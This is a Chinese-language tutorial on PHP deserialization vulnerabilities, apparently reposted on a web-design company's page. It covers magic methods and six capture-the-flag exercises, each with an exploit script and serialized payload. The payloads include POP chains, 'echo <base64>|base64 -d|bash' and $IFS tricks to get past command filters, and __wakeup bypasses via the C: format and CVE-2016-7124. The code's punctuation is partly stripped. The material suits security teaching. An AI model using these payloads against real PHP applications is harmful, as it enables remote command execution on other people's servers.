做地铁系统集成的公司网站qq推广软件
2026/4/6 7:23:03 网站建设 项目流程
做地铁系统集成的公司网站,qq推广软件,市场营销策划ppt,伪造wordpress浏览量PHP反序列化基础 标题首先明白什么是反序列化和序列化 序列化是将对象转换为可存储或传输的字符串形式#xff0c;而反序列化则是将这些字符串重新还原为对象。这一机制在PHP中被广泛应用于数据存储、缓存和远程通信等场景。 PHP序列化和反序列函数讲解 PHP提供了serialize()和…PHP反序列化基础标题首先明白什么是反序列化和序列化序列化是将对象转换为可存储或传输的字符串形式而反序列化则是将这些字符串重新还原为对象。这一机制在PHP中被广泛应用于数据存储、缓存和远程通信等场景。PHP序列化和反序列函数讲解PHP提供了serialize()和unserialize()两个函数用于序列化和反序列化操作。serialize()将对象转换为字符串而unserialize()将字符串还原为对象。序列化字符串的结构包含对象的类名、属性和值等信息。PHP 魔法函数Magic MethodsPHP 中的魔法函数Magic Methods是一组特殊的方法以双下划线__开头用于在特定情况下自动触发。这些方法允许开发者自定义对象的行为例如属性访问、方法调用、对象序列化等。常用魔法函数列表__construct()在对象实例化时自动调用常用于初始化操作。classExample{publicfunction__construct(){echo对象已创建;}}$objnewExample();// 输出 对象已创建__destruct()在对象销毁时自动调用常用于资源释放。classExample{publicfunction__destruct(){echo对象已销毁;}}$objnewExample();unset($obj);// 输出 对象已销毁__get($name)在访问未定义或不可访问的属性时触发。classExample{private$data[];publicfunction__get($name){return$this-data[$name]??null;}}$objnewExample();echo$obj-nonExistentProperty;// 触发 __get__set($name, $value)在给未定义或不可访问的属性赋值时触发。classExample{private$data[];publicfunction__set($name,$value){$this-data[$name]$value;}}$objnewExample();$obj-nonExistentPropertyvalue;// 触发 __set__call($name, $arguments)在调用未定义或不可访问的方法时触发。classExample{publicfunction__call($name,$arguments){echo调用了未定义的方法:$name;}}$objnewExample();$obj-nonExistentMethod();// 触发 __call__toString()在对象被当作字符串使用时触发如 echo。classExample{publicfunction__toString(){return这是一个对象;}}$objnewExample();echo$obj;// 输出 这是一个对象__invoke()在对象被当作函数调用时触发。classExample{publicfunction__invoke(){echo对象被作为函数调用;}}$objnewExample();$obj();// 输出 对象被作为函数调用__sleep() 和 __wakeup()在对象序列化serialize()和反序列化unserialize()时触发。classExample{publicfunction__sleep(){return[property];// 指定序列化的属性}publicfunction__wakeup(){$this-property恢复后的值;}}__clone()在对象被克隆时触发。classExample{publicfunction__clone(){echo对象已被克隆;}}$obj1newExample();$obj2clone$obj1;// 输出 对象已被克隆例题讲解第一题?phpheader(Content-Type: text/html; charsetutf-8);error_reporting(0);highlight_file(__FILE__);classSimpleVuln{public$commandecho Hello World;publicfunction__destruct(){echo执行命令: .$this-command.br;system($this-command);}}if(isset($_GET[data])){$data$_GET[data];echo接收到的数据: .htmlspecialchars($data).br;$objunserialize($data);echo反序列化完成;}?可以观察到SimpleVuln类在对象销毁时调用__destruct魔术方法里面有system函数执行了command变量里面的命令漏洞利用脚本我们把SimpleVuln类里的command 设置成我们cmd要执行的命令如cat flag.txt触发__destruct方法执行system(“cat flag.txt”)?phpclassSimpleVuln{public$commandcat flag.txt;}$vulnnewSimpleVuln;echoserialize($vuln);?payload:O:10:“SimpleVuln”:1:{s:7:“command”;s:12:“cat flag.txt”;}第二题?phpheader(Content-Type: text/html; charsetutf-8);error_reporting(0);highlight_file(__FILE__);classVulnerable{private$command;publicfunction__construct($c){$this-command$c;}publicfunction__destruct(){$filter_pattern/php|;|cat|more|less|tail|head|cp|mv|rm|\s|flag/i;if(preg_match($filter_pattern,$this-command)){die(Hacker! WAF blocked your command!);}system($this-command);}}if(isset($_GET[data])){$data$_GET[data];echo接收到的数据: .htmlspecialchars($data).br;$objunserialize($data);echo反序列化完成;}?我们可以看到第二题加入了一些命令执行的过滤的措施我们无法直接执行命令我们可以使用base64的方式绕过先得出cat flag的base64代码我们可以用echo Y2F0IGZsYWcudHh0Cg|base64 -d|bash来执行这条代码,这条代码的意思是解析这段base64代码并且当做命令来执行cat flag.txt,Y2F0IGZsYWcudHh0Cg是cat flag.txt的base64编码漏洞利用脚本?phpclassVulnerable{private$commandecho$IFS$9Y2F0IGZsYWcudHh0Cg|base64$IFS$9-d|bash;}$vulnnewVulnerable;echo(urlencode(serialize($vuln)))?paylaodPHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0O%3A10%3A%22Vulnerable%22%3A1%3A%7Bs%3A19%3A%22%00Vulnerable%00command%22%3Bs%3A50%3A%22echo%24IFS%249Y2F0IGZsYWcudHh0Cg%3D%3D%7Cbase64%24IFS%249-d%7Cbash%22%3B%7D第三题?phpheader(Content-Type: text/html; charsetutf-8);error_reporting(0);highlight_file(__FILE__);classLogger{private$log;publicfunction__toString(){system($this-log);returnLogged;}}classVulnerable{private$command;publicfunction__construct($c){$this-command$c;}publicfunction__destruct(){echo$this-command;}}if(isset($_GET[data])){$data$_GET[data];echo接收到的数据: .htmlspecialchars($data).br;$objunserialize($data);echo反序列化完成;}?我们可以看到__toString魔术方法里有system($this-log);函数可以利用__toString触发条件是 在对象被当作字符串使用时触发如代码里的echo $this-command如果Vulnerable类里的command是一个Logger就会触发__toString然后执行system函数漏洞利用脚本?phpclassLogger{private$logcat flag.txt;}classVulnerable{private$command;publicfunction__construct($c){$this-command$c;}}$loggernewLogger;$VulnnewVulnerable($logger);$serserialize($Vuln);echo(urlencode($ser));?payloadPHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0O%3A10%3A%22Vulnerable%22%3A1%3A%7Bs%3A19%3A%22%00Vulnerable%00command%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A11%3A%22%00Logger%00log%22%3Bs%3A12%3A%22catflag.txt%22%3B%7D%7D第四题?phpheader(Content-Type: text/html; charsetutf-8);error_reporting(0);highlight_file(__FILE__);classDatabase{protected$query;publicfunction__destruct(){// 真实的漏洞点这里执行系统命令system($this-query);// 这就是攻击目标}}classCache{private$data;publicfunction__wakeup(){// 触发点这里会反序列化数据unserialize($this-data);}}// 真实的用户输入接收if(isset($_GET[data])){$input_data$_GET[data];echo接收到的数据: .htmlspecialchars($input_data).br;// 核心漏洞点反序列化用户输入$objunserialize($input_data);echo反序列化完成;}?这里我们注意到其实这道题反序列化的两次第一次是接收到我们用户的输入后obj unserialize($input_data);这条代码第二次反序列化是在 __wakeup()魔法函数的位置漏洞利用点在Database类的__destruct魔法函数里的system代码思路先改Database 里的query为要执行的命令序列化Database将序列化的字符串传入Cache类的data变量中再次序列化Cache。反序列化顺序-Cache类-反序列化Cache类的data部分-Database类-执行system函数。解题代码?phpclassDatabase{protected$query;publicfunction__construct($cmd){$this-query$cmd;}}classCache{private$data;publicfunction__construct($data){$this-data$data;}}$databasenewDatabase(cat flag.txt);$dataserserialize($database);$CachenewCache($database);$serserialize($Cache);echo(urlencode($ser))?payloadPHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0:O%3A5%3A%22Cache%22%3A1%3A%7Bs%3A11%3A%22%00Cache%00data%22%3BO%3A8%3A%22Database%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3Bs%3A12%3A%22catflag.txt%22%3B%7D%7D第五题?phpheader(Content-Type: text/html; charsetutf-8);error_reporting(0);highlight_file(__FILE__);classA{public$obj;publicfunction__wakeup(){$this-obj-func();}}classB{public$cmd;publicfunction__call($name,$args){$filter/ls|cat|flag|\/etc|system|exec|passthru/i;if(preg_match($filter,$this-cmd)){die(命令被过滤);}system($this-cmd);}}if(isset($_GET[payload])){unserialize($_GET[payload]);}else{echo请传入payload参数;}?我们发现在class B中利用正则对命令执行进行了限制我们可以考虑base64绕过然后漏洞函数是出现在call这个魔术方法中触发__call的条件是在调用未定义或不可访问的方法时触发。我们看到在class A中变量obj指向的func方法在B中不存在就会触发call这个魔术方法执行system函数思路将classA的obj赋值为class B$this-class B-func();因为class B中没有func函数就会调用class B的call魔法函数执行system命令漏洞利用脚本?phpclassA{public$obj;}classB{public$cmd;}$anewA;$bnewB;$a-obj$b;$b-cmdecho Y2F0IGZsYWcucGhwCg|base64 -d|bash;$serserialize($a);echo($ser)?payloadO:1:“A”:1:{s:3:“obj”;O:1:“B”:1:{s:3:“cmd”;s:40:“echo Y2F0IGZsYWcucGhwCg|base64 -d|bash”;}}第六题header(Content-Type: text/html; charsetutf-8);error_reporting(0);highlight_file(__FILE__);classtricksbucket{public$wakeupFalse;publicfunction__destruct(){if($this-wakeupFalse){echoYou are in;if(isset($_GET[url])){$url$_GET[url];if(strpos($url,flag)false||strpos($url,base64)!false||strpos($url,http)!false){exit(no flag , no base , no http);}$contentsfile_get_contents($_GET[url]);if(strpos($contents,flag)!false){exit(contents has flag);}if($contentsget){include(flag.php);echo$flag;//echo flag{***};}}}else{exit(No~ you disturb me);}}publicfunction__wakeup(){$this-wakeupTrue;}}if(isset($_GET[exp])){unserialize($_GET[exp]);}else{highlight_file(hint.php);}我们分析一下代码我们首先要让wakeup保持False只有这样才能进入__destruct()的漏洞分支但是有个问题PHP反序列化默认会调用__wakeup()导致$wakeup被设为True。绕过方法•方法1利用PHP对C:序列化格式不调用__wakeup()的特性。•方法2利用CVE-2016-7124修改属性数量欺骗PHP不调用__wakeup()。还有URL参数处理逻辑必须包含flag不能包含base64不能包含http内容必须等于getcontents“get”C:格式的标准结构C:类名长度:“类名”:数据长度:{序列化数据}对于 C:12:“tricksbucket”:0:{}•C:- 格式标识•12:- 类名tricksbucket的长度12个字符•“tricksbucket”- 类名•0:- 自定义数据的长度0字节•{}- 空的数据内容漏洞利用方法1利用PHP对C:序列化格式不调用__wakeup()的特性。expC:12:“tricksbucket”:0:{}方法2CVE-2016-7124绕过?phpclasstricksbucket{public$wakeupFalse;}$anewtricksbucket;echo(serialize($a));?生成payload O:12:“tricksbucket”:1:{s:6:“wakeup”;b:0;}更改属性数量为2得出expO:12:“tricksbucket”:2:{s:6:“wakeup”;b:0;}URL构造为什么这样写•data:URI绕过http/base64检查。•xflag满足strpos($url, “flag”) ! false。•,get确保file_get_contents()返回get。完整的payload?expO:12:“tricksbucket”:2:{s:6:“wakeup”;b:0;}urldata:text/plain;xflag,get或者?expC:12:“tricksbucket”:0:{}urldata:text/plain;xflag,get获取flag两种方式利用PHP对C:序列化格式不调用__wakeup()的特性。CVE-2016-7124绕过

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询